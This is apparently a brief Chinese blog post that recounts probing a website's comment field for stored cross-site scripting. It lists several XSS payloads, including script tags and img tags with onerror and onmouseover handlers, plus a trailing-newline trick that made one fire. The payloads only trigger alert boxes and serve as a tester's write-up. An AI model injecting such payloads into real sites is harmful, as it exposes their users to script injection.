一波骚操作的xss

这波操作真是令人窒息哦

先是找到评论帖子处

<script>alert(1)</script>

<img src=1 onerror=alert(1) />

试了试 没弹

参考了一波乌云的操作

http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-021587

现在我们来看看这波payload

 

<script>alert(1)</script><img src="http://www.baidu.com/img/shouye_b5486898c692066bd2cbaeda86d74448.gif" onmouseover=alert(1) />

真的很无语

这种payload  需要在后面的末尾处加换行才可以

末尾加换行 自动保存的功能  然后就弹框了